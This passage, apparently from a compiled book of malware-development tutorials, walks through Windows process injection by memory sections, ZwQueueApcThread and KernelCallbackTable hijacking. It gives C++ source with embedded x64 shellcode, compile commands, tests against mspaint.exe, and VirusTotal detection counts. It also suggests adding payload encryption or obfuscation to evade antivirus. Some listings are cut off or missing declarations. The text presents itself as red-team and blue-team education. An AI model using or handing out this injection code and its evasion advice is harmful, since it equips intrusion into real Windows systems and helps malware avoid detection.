IN ULONG DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG PageAttributess,
IN ULONG SectionAttributes,
IN HANDLE FileHandle OPTIONAL
);
// NtMapViewOfSection syntax
typedef NTSTATUS(NTAPI* pNtMapViewOfSection)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);
// RtlCreateUserThread syntax
typedef NTSTATUS(NTAPI* pRtlCreateUserThread)(
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
IN BOOLEAN CreateSuspended,
IN ULONG StackZeroBits,
IN OUT PULONG StackReserved,
IN OUT PULONG StackCommit,
IN PVOID StartAddress,
IN PVOID StartParameter OPTIONAL,
OUT PHANDLE ThreadHandle,
OUT PCLIENT_ID ClientID
);
// NtOpenProcess syntax
typedef NTSTATUS(NTAPI* pNtOpenProcess)(
185
PHANDLE ProcessHandle,
ACCESS_MASK AccessMask,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientID
);
// ZwUnmapViewOfSection syntax
typedef NTSTATUS(NTAPI* pZwUnmapViewOfSection)(
HANDLE ProcessHandle,
PVOID BaseAddress
);
HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;
186
int main(int argc, char* argv[]) {
// 64-bit meow-meow messagebox without encryption
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
SIZE_T s = 4096;
LARGE_INTEGER sectionS = { s };
HANDLE sh = NULL; // section handle
PVOID lb = NULL; // local buffer
PVOID rb = NULL; // remote buffer
HANDLE th = NULL; // thread handle
DWORD pid; // process ID
pid = findMyProc(argv[1]);
OBJECT_ATTRIBUTES oa;
CLIENT_ID cid;
InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL);
cid.UniqueProcess = (PVOID) pid;
cid.UniqueThread = 0;
// loading ntdll.dll
HANDLE ntdll = GetModuleHandleA("ntdll");
187
pNtOpenProcess myNtOpenProcess =
(pNtOpenProcess)GetProcAddress(
ntdll, "NtOpenProcess");
pNtCreateSection myNtCreateSection =
(pNtCreateSection)(GetProcAddress(
ntdll, "NtCreateSection"));
pNtMapViewOfSection myNtMapViewOfSection =
(pNtMapViewOfSection)(GetProcAddress(
ntdll, "NtMapViewOfSection"));
pRtlCreateUserThread myRtlCreateUserThread =
(pRtlCreateUserThread)(GetProcAddress(
ntdll, "RtlCreateUserThread"));
pZwUnmapViewOfSection myZwUnmapViewOfSection =
(pZwUnmapViewOfSection)(GetProcAddress(
ntdll, "ZwUnmapViewOfSection"));
if (!ph) {
printf("failed to open process :(\n");
return -2;
}
// write payload
memcpy(lb, my_payload, sizeof(my_payload));
188
// create a thread
myRtlCreateUserThread(ph, NULL, FALSE,
0, 0, 0, rb, NULL, &th, NULL);
// and wait
if (WaitForSingleObject(th, INFINITE) == WAIT_FAILED) {
return -2;
}
// clean up
myZwUnmapViewOfSection(GetCurrentProcess(), lb);
myZwUnmapViewOfSection(ph, rb);
CloseHandle(sh);
CloseHandle(ph);
return 0;
}
As you can see, everything is simple. Also I used findMyProc function from one
of my previous sections:
Changes to the local view of the section will also cause remote views
to be modified as well, thus bypassing the need for APIs such as
KERNEL32.DLL!WriteProcessMemory to write malicious code into remote
189
process address space.
Although this is somewhat of an advantage over direct virtual memory allocation
using NtAllocateVirtualMemory, it creates similar malicious memory artifacts
that blue teamers should look out for:
demo
So finally after we understood entire code of the malware, we can test it.
Let’s go to compile our malware:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptionsections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-igc-plibgcc -fpermissive
190
Then, see everything in action! Start our victim process (in our case
mspaint.exe) on the victim machine (Windows 10 x64):
191
We can see that everything was completed perfectly :)
Let’s go to upload our malware to VirusTotal:
192
https://www.virustotal.com/gui/file/1573a7d59de744b0723e83539ad8dcb934
7c89f27a8321ea578c8c0d98f1e2cb?nocache=1
So, 4 of 62 AV engines detect our file as malicious.
If we want, for better result, we can add payload encryption with key or obfuscate
functions, or combine both of this techniques.
I hope this post spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
BlackHat USA 2019 Process Injection Techniques - Gotta Catch Them All
WinDBG kernel debugging
NtOpenProcess
NtCreateSection
NtMapViewOfSection
ZwUnmapViewOfSection
Moneta64.exe
source code in Github
193
In the previous section I wrote about code injection via memory sections.
This section is a result of self-research of replacing some Nt prefixes with Zw
prefixes.
Zw prefix?
The Nt prefix is an abbreviation of Windows NT, but the Zw prefix has no
meaning.
From the MSDN:
When a user-mode application calls the Nt or Zw version of a native
system services routine, the routine always treats the parameters
that it receives as values that come from a user-mode source that is
not trusted. The routine thoroughly validates the parameter values
before it uses the parameters. In particular, the routine probes any
caller-supplied buffers to verify that the buffers are located in valid
user-mode memory and are aligned properly.
Next steps are similar as previous post but, the only difference is we use
ZwCreateThreadEx:
194
typedef NTSTATUS(NTAPI* pZwCreateThreadEx)(
_Out_ PHANDLE ThreadHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE ProcessHandle,
_In_ PVOID StartRoutine,
_In_opt_ PVOID Argument,
_In_ ULONG CreateFlags,
_In_opt_ ULONG_PTR ZeroBits,
_In_opt_ SIZE_T StackSize,
_In_opt_ SIZE_T MaximumStackSize,
_In_opt_ PVOID AttributeList
);
195
So, the full source code of our example malware is:
/*
* hack.cpp - code injection via
* ZwCreateSection, ZwUnmapViewOfSection
* @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/01/14/malware-injection-13.html
*/
#include <cstdio>
#include <windows.h>
#include <winternl.h>
// ZwCreateSection
typedef NTSTATUS(NTAPI* pZwCreateSection)(
OUT PHANDLE SectionHandle,
IN ULONG DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG PageAttributess,
IN ULONG SectionAttributes,
IN HANDLE FileHandle OPTIONAL
);
// NtMapViewOfSection syntax
typedef NTSTATUS(NTAPI* pNtMapViewOfSection)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
196
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);
// ZwCreateThreadEx
typedef NTSTATUS(NTAPI* pZwCreateThreadEx)(
_Out_ PHANDLE ThreadHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE ProcessHandle,
_In_ PVOID StartRoutine,
_In_opt_ PVOID Argument,
_In_ ULONG CreateFlags,
_In_opt_ ULONG_PTR ZeroBits,
_In_opt_ SIZE_T StackSize,
_In_opt_ SIZE_T MaximumStackSize,
_In_opt_ PVOID AttributeList
);
// ZwUnmapViewOfSection syntax
typedef NTSTATUS(NTAPI* pZwUnmapViewOfSection)(
HANDLE ProcessHandle,
PVOID BaseAddress
);
// ZwClose
typedef NTSTATUS(NTAPI* pZwClose)(
_In_ HANDLE Handle
);
197
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
ZeroMemory(&si, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
ZeroMemory(&pbi, sizeof(PROCESS_BASIC_INFORMATION));
si.cb = sizeof(STARTUPINFO);
ZeroMemory(&oa, sizeof(OBJECT_ATTRIBUTES));
198
ntdll, "ZwCreateThreadEx");
pZwClose myZwClose =
(pZwClose)GetProcAddress(
ntdll, "ZwClose");
myZwCreateSection(&sh,
SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE,
NULL, §ionS, PAGE_EXECUTE_READWRITE,
SEC_COMMIT, NULL);
printf("section handle: %p.\n", sh);
// copy payload
memcpy(lb, my_payload, sizeof(my_payload));
sh = NULL;
199
rb, NULL, CREATE_SUSPENDED, 0, 0, 0, 0);
printf("thread: %p.\n", th);
ResumeThread(pi.hThread);
myZwClose(pi.hThread);
myZwClose(th);
return 0;
}
demo
Let’s go to compile our example:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive
Then, see everything in action! In our case victim machine is Windows 10 x64:
200
We can see that everything was completed perfectly :)
Then, let’s go to upload our malware to VirusTotal:
https://www.virustotal.com/gui/file/cca1a55dd587cb3e6b4768e6d4febe296674
1063e6beac5951f119bf2ba193ae/detection
So, 5 of 67 AV engines detect our file as malicious.
Moneta64.exe result:
201
If we want, for better result, we can add payload encryption with key or obfuscate
functions, or combine both of this techniques.
I hope this post spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
CreateProcessA
ZwCreateSection
NtMapViewOfSection
ZwUnmapViewOfSection
ZwClose
Moneta64.exe
source code in Github
202
26. code injection via memory sections and ZwQueueApc-
Thread. Simple C++ malware example.
In the previous section I wrote about code injection via memory sections.
This section is a result of replacing thread creating logic.
ZwQueueApcThread
For the user-mode code there is no difference between ZwQueueApcThread and
NtQueueApcThread functions. It’s just the matter of what prefix you like.
Native function ZwQueueApcThread is declared like:
NTSYSAPI
NTSTATUS
NTAPI
ZwQueueApcThread(
IN HANDLE ThreadHandle,
IN PIO_APC_ROUTINE ApcRoutine,
IN PVOID ApcRoutineContext OPTIONAL,
IN PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL,
IN ULONG ApcReserved OPTIONAL );
203
ZwSetInformationThread
Native function ZwSetInformationThread is declared like:
NTSYSAPI NTSTATUS ZwSetInformationThread(
[in] HANDLE ThreadHandle,
[in] THREADINFOCLASS ThreadInformationClass,
[in] PVOID ThreadInformation,
[in] ULONG ThreadInformationLength
);
practical example
My example’s logic is similar to previous section, the only difference is:
204
/*
* hack.cpp - code injection via
* ZwCreateSection, ZwUnmapViewOfSection,
* ZwQueueApcThread
* @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/01/17/malware-injection-14.html
*/
#include <cstdio>
#include <windows.h>
#include <winternl.h>
// ZwCreateSection
typedef NTSTATUS(NTAPI* pZwCreateSection)(
OUT PHANDLE SectionHandle,
IN ULONG DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG PageAttributess,
IN ULONG SectionAttributes,
IN HANDLE FileHandle OPTIONAL
);
// NtMapViewOfSection syntax
typedef NTSTATUS(NTAPI* pNtMapViewOfSection)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);
// ZwUnmapViewOfSection syntax
typedef NTSTATUS(NTAPI* pZwUnmapViewOfSection)(
HANDLE ProcessHandle,
PVOID BaseAddress
);
205
// ZwClose
typedef NTSTATUS(NTAPI* pZwClose)(
_In_ HANDLE Handle
);
// ZwQueueApcThread
typedef NTSTATUS(NTAPI* pZwQueueApcThread)(
IN HANDLE ThreadHandle,
IN PIO_APC_ROUTINE ApcRoutine,
IN PVOID ApcRoutineContext OPTIONAL,
IN PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL,
IN ULONG ApcReserved OPTIONAL
);
// ZwSetInformationThread
typedef NTSTATUS(NTAPI* pZwSetInformationThread)(
_In_ HANDLE ThreadHandle,
_In_ THREADINFOCLASS ThreadInformationClass,
_In_ PVOID ThreadInformation,
_In_ ULONG ThreadInformationLength
);
206
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
ZeroMemory(&si, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
ZeroMemory(&pbi, sizeof(PROCESS_BASIC_INFORMATION));
si.cb = sizeof(STARTUPINFO);
ZeroMemory(&oa, sizeof(OBJECT_ATTRIBUTES));
207
(LPSTR) "C:\\windows\\system32\\mspaint.exe",
NULL, NULL, NULL,
CREATE_SUSPENDED | DETACHED_PROCESS | CREATE_NO_WINDOW,
NULL, NULL, &si, &pi)) {
printf("create process failed :(\n");
return -2;
};
myZwCreateSection(&sh,
SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE,
NULL, §ionS,
PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
printf("section handle: %p.\n", sh);
// copy payload
memcpy(lb, my_payload, sizeof(my_payload));
sh = NULL;
return 0;
208
}
demo
Let’s go to compile our example:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive
209
Then, see everything in action! In our case victim machine is Windows 10 x64:
210
We can see that everything was completed perfectly :)
Then, let’s go to upload our malware to VirusTotal:
https://www.virustotal.com/gui/file/a96b5c2a8fce03d4b6e30b9499a3df2280cb
6f5570bb4198a1bd51aeaa2665e8/detection
So, 9 of 67 AV engines detect our file as malicious.
Moneta64.exe result:
211
If we want, for better result, we can add payload encryption with key or obfuscate
functions, or combine both of this techniques.
I hope this post spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
CreateProcessA
ZwCreateSection
NtMapViewOfSection
ZwUnmapViewOfSection
ZwClose
ZwQueueApcThread/NtQueueApcThread
ZwSetInformationThread
Moneta64.exe
source code in Github
212
27. process injection via KernelCallbackTable. Simple C++
malware example.
KernelCallbackTable
KernelCallbackTable can be found in PEB structure, at 0x058 offset:
lkd> dt_PEB
213
The KernelCallbackTable is initialized to an array of functions:
lkd> dqs 0x00007ffa`29123070 L60
00007ffa`29123070 00007ffa`290c2bd0 user32!_fnCOPYDATA
00007ffa`29123078 00007ffa`2911ae70 user32!_fnCOPYGLOBALDATA
00007ffa`29123080 00007ffa`290c0420 user32!_fnDWORD
00007ffa`29123088 00007ffa`290c5680 user32!_fnNCDESTROY
00007ffa`29123090 00007ffa`290c96a0 user32!_fnDWORDOPTINLPMSG
00007ffa`29123098 00007ffa`2911b4a0 user32!_fnINOUTDRAG
//....
practical example
The flow is this technique is: firstly, include ntddk.h header from SDK:
#include <./ntddk.h>
Then, redefine:
typedef struct _KERNELCALLBACKTABLE_T {
ULONG_PTR __fnCOPYDATA;
ULONG_PTR __fnCOPYGLOBALDATA;
ULONG_PTR __fnDWORD;
ULONG_PTR __fnNCDESTROY;
ULONG_PTR __fnDWORDOPTINLPMSG;
ULONG_PTR __fnINOUTDRAG;
ULONG_PTR __fnGETTEXTLENGTHS;
ULONG_PTR __fnINCNTOUTSTRING;
ULONG_PTR __fnPOUTLPINT;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT;
ULONG_PTR __fnINLPCREATESTRUCT;
ULONG_PTR __fnINLPDELETEITEMSTRUCT;
ULONG_PTR __fnINLPDRAWITEMSTRUCT;
ULONG_PTR __fnPOPTINLPUINT;
ULONG_PTR __fnPOPTINLPUINT2;
ULONG_PTR __fnINLPMDICREATESTRUCT;
ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT;
ULONG_PTR __fnINLPWINDOWPOS;
ULONG_PTR __fnINOUTLPPOINT5;
ULONG_PTR __fnINOUTLPSCROLLINFO;
ULONG_PTR __fnINOUTLPRECT;
ULONG_PTR __fnINOUTNCCALCSIZE;
ULONG_PTR __fnINOUTLPPOINT5_;
ULONG_PTR __fnINPAINTCLIPBRD;
214
ULONG_PTR __fnINSIZECLIPBRD;
ULONG_PTR __fnINDESTROYCLIPBRD;
ULONG_PTR __fnINSTRING;
ULONG_PTR __fnINSTRINGNULL;
ULONG_PTR __fnINDEVICECHANGE;
ULONG_PTR __fnPOWERBROADCAST;
ULONG_PTR __fnINLPUAHDRAWMENU;
ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD;
ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_;
ULONG_PTR __fnOUTDWORDINDWORD;
ULONG_PTR __fnOUTLPRECT;
ULONG_PTR __fnOUTSTRING;
ULONG_PTR __fnPOPTINLPUINT3;
ULONG_PTR __fnPOUTLPINT2;
ULONG_PTR __fnSENTDDEMSG;
ULONG_PTR __fnINOUTSTYLECHANGE;
ULONG_PTR __fnHkINDWORD;
ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT;
ULONG_PTR __fnHkINLPCBTCREATESTRUCT;
ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX;
ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT;
ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT;
ULONG_PTR __fnHkINLPMSG;
ULONG_PTR __fnHkINLPRECT;
ULONG_PTR __fnHkOPTINLPEVENTMSG;
ULONG_PTR __xxxClientCallDelegateThread;
ULONG_PTR __ClientCallDummyCallback;
ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT;
ULONG_PTR __fnOUTLPCOMBOBOXINFO;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2;
ULONG_PTR __xxxClientCallDevCallbackCapture;
ULONG_PTR __xxxClientCallDitThread;
ULONG_PTR __xxxClientEnableMMCSS;
ULONG_PTR __xxxClientUpdateDpi;
ULONG_PTR __xxxClientExpandStringW;
ULONG_PTR __ClientCopyDDEIn1;
ULONG_PTR __ClientCopyDDEIn2;
ULONG_PTR __ClientCopyDDEOut1;
ULONG_PTR __ClientCopyDDEOut2;
ULONG_PTR __ClientCopyImage;
ULONG_PTR __ClientEventCallback;
ULONG_PTR __ClientFindMnemChar;
ULONG_PTR __ClientFreeDDEHandle;
ULONG_PTR __ClientFreeLibrary;
215
ULONG_PTR __ClientGetCharsetInfo;
ULONG_PTR __ClientGetDDEFlags;
ULONG_PTR __ClientGetDDEHookData;
ULONG_PTR __ClientGetListboxString;
ULONG_PTR __ClientGetMessageMPH;
ULONG_PTR __ClientLoadImage;
ULONG_PTR __ClientLoadLibrary;
ULONG_PTR __ClientLoadMenu;
ULONG_PTR __ClientLoadLocalT1Fonts;
ULONG_PTR __ClientPSMTextOut;
ULONG_PTR __ClientLpkDrawTextEx;
ULONG_PTR __ClientExtTextOutW;
ULONG_PTR __ClientGetTextExtentPointW;
ULONG_PTR __ClientCharToWchar;
ULONG_PTR __ClientAddFontResourceW;
ULONG_PTR __ClientThreadSetup;
ULONG_PTR __ClientDeliverUserApc;
ULONG_PTR __ClientNoMemoryPopup;
ULONG_PTR __ClientMonitorEnumProc;
ULONG_PTR __ClientCallWinEventProc;
ULONG_PTR __ClientWaitMessageExMPH;
ULONG_PTR __ClientWOWGetProcModule;
ULONG_PTR __ClientWOWTask16SchedNotify;
ULONG_PTR __ClientImmLoadLayout;
ULONG_PTR __ClientImmProcessKey;
ULONG_PTR __fnIMECONTROL;
ULONG_PTR __fnINWPARAMDBCSCHAR;
ULONG_PTR __fnGETTEXTLENGTHS2;
ULONG_PTR __fnINLPKDRAWSWITCHWND;
ULONG_PTR __ClientLoadStringW;
ULONG_PTR __ClientLoadOLE;
ULONG_PTR __ClientRegisterDragDrop;
ULONG_PTR __ClientRevokeDragDrop;
ULONG_PTR __fnINOUTMENUGETOBJECT;
ULONG_PTR __ClientPrinterThunk;
ULONG_PTR __fnOUTLPCOMBOBOXINFO2;
ULONG_PTR __fnOUTLPSCROLLBARINFO;
ULONG_PTR __fnINLPUAHDRAWMENU2;
ULONG_PTR __fnINLPUAHDRAWMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU3;
ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU4;
ULONG_PTR __fnOUTLPTITLEBARINFOEX;
ULONG_PTR __fnTOUCH;
ULONG_PTR __fnGESTURE;
216
ULONG_PTR __fnPOPTINLPUINT4;
ULONG_PTR __fnPOPTINLPUINT5;
ULONG_PTR __xxxClientCallDefaultInputHandler;
ULONG_PTR __fnEMPTY;
ULONG_PTR __ClientRimDevCallback;
ULONG_PTR __xxxClientCallMinTouchHitTestingCallback;
ULONG_PTR __ClientCallLocalMouseHooks;
ULONG_PTR __xxxClientBroadcastThemeChange;
ULONG_PTR __xxxClientCallDevCallbackSimple;
ULONG_PTR __xxxClientAllocWindowClassExtraBytes;
ULONG_PTR __xxxClientFreeWindowClassExtraBytes;
ULONG_PTR __fnGETWINDOWDATA;
ULONG_PTR __fnINOUTSTYLECHANGE2;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;
} KERNELCALLBACKTABLE;
Then, find a window for mspaint.exe, obtain the process id and open it:
// find a window for mspaint.exe
HWND hw = FindWindow(NULL, (LPCSTR) "Untitled - Paint");
if (hw == NULL) {
printf("failed to find window :(\n");
return -2;
}
GetWindowThreadProcessId(hw, &pid);
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
myNtQueryInformationProcess(ph,
ProcessBasicInformation,
&pbi, sizeof(pbi), NULL);
ReadProcessMemory(ph, pbi.PebBaseAddress,
&peb, sizeof(peb), NULL);
ReadProcessMemory(ph, peb.KernelCallbackTable,
&kct, sizeof(kct), NULL);
217
LPVOID rb = VirtualAllocEx(ph, NULL, sizeof(my_payload),
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ph, rb, my_payload,
sizeof(my_payload), NULL);
Here, to restore the original code and check if it restores normally, we called
SendMessage() again to verify that the code is not running.
So, full C++ code of our simple malware is:
/*
* hack.cpp - process injection via
* KernelCallbackTable. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/01/24/malware-injection-15.html
*/
218
#include <./ntddk.h>
#include <cstdio>
#include <cstddef>
219
ULONG_PTR __fnSENTDDEMSG;
ULONG_PTR __fnINOUTSTYLECHANGE;
ULONG_PTR __fnHkINDWORD;
ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT;
ULONG_PTR __fnHkINLPCBTCREATESTRUCT;
ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX;
ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT;
ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT;
ULONG_PTR __fnHkINLPMSG;
ULONG_PTR __fnHkINLPRECT;
ULONG_PTR __fnHkOPTINLPEVENTMSG;
ULONG_PTR __xxxClientCallDelegateThread;
ULONG_PTR __ClientCallDummyCallback;
ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT;
ULONG_PTR __fnOUTLPCOMBOBOXINFO;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2;
ULONG_PTR __xxxClientCallDevCallbackCapture;
ULONG_PTR __xxxClientCallDitThread;
ULONG_PTR __xxxClientEnableMMCSS;
ULONG_PTR __xxxClientUpdateDpi;
ULONG_PTR __xxxClientExpandStringW;
ULONG_PTR __ClientCopyDDEIn1;
ULONG_PTR __ClientCopyDDEIn2;
ULONG_PTR __ClientCopyDDEOut1;
ULONG_PTR __ClientCopyDDEOut2;
ULONG_PTR __ClientCopyImage;
ULONG_PTR __ClientEventCallback;
ULONG_PTR __ClientFindMnemChar;
ULONG_PTR __ClientFreeDDEHandle;
ULONG_PTR __ClientFreeLibrary;
ULONG_PTR __ClientGetCharsetInfo;
ULONG_PTR __ClientGetDDEFlags;
ULONG_PTR __ClientGetDDEHookData;
ULONG_PTR __ClientGetListboxString;
ULONG_PTR __ClientGetMessageMPH;
ULONG_PTR __ClientLoadImage;
ULONG_PTR __ClientLoadLibrary;
ULONG_PTR __ClientLoadMenu;
ULONG_PTR __ClientLoadLocalT1Fonts;
ULONG_PTR __ClientPSMTextOut;
ULONG_PTR __ClientLpkDrawTextEx;
ULONG_PTR __ClientExtTextOutW;
ULONG_PTR __ClientGetTextExtentPointW;
ULONG_PTR __ClientCharToWchar;
220
ULONG_PTR __ClientAddFontResourceW;
ULONG_PTR __ClientThreadSetup;
ULONG_PTR __ClientDeliverUserApc;
ULONG_PTR __ClientNoMemoryPopup;
ULONG_PTR __ClientMonitorEnumProc;
ULONG_PTR __ClientCallWinEventProc;
ULONG_PTR __ClientWaitMessageExMPH;
ULONG_PTR __ClientWOWGetProcModule;
ULONG_PTR __ClientWOWTask16SchedNotify;
ULONG_PTR __ClientImmLoadLayout;
ULONG_PTR __ClientImmProcessKey;
ULONG_PTR __fnIMECONTROL;
ULONG_PTR __fnINWPARAMDBCSCHAR;
ULONG_PTR __fnGETTEXTLENGTHS2;
ULONG_PTR __fnINLPKDRAWSWITCHWND;
ULONG_PTR __ClientLoadStringW;
ULONG_PTR __ClientLoadOLE;
ULONG_PTR __ClientRegisterDragDrop;
ULONG_PTR __ClientRevokeDragDrop;
ULONG_PTR __fnINOUTMENUGETOBJECT;
ULONG_PTR __ClientPrinterThunk;
ULONG_PTR __fnOUTLPCOMBOBOXINFO2;
ULONG_PTR __fnOUTLPSCROLLBARINFO;
ULONG_PTR __fnINLPUAHDRAWMENU2;
ULONG_PTR __fnINLPUAHDRAWMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU3;
ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU4;
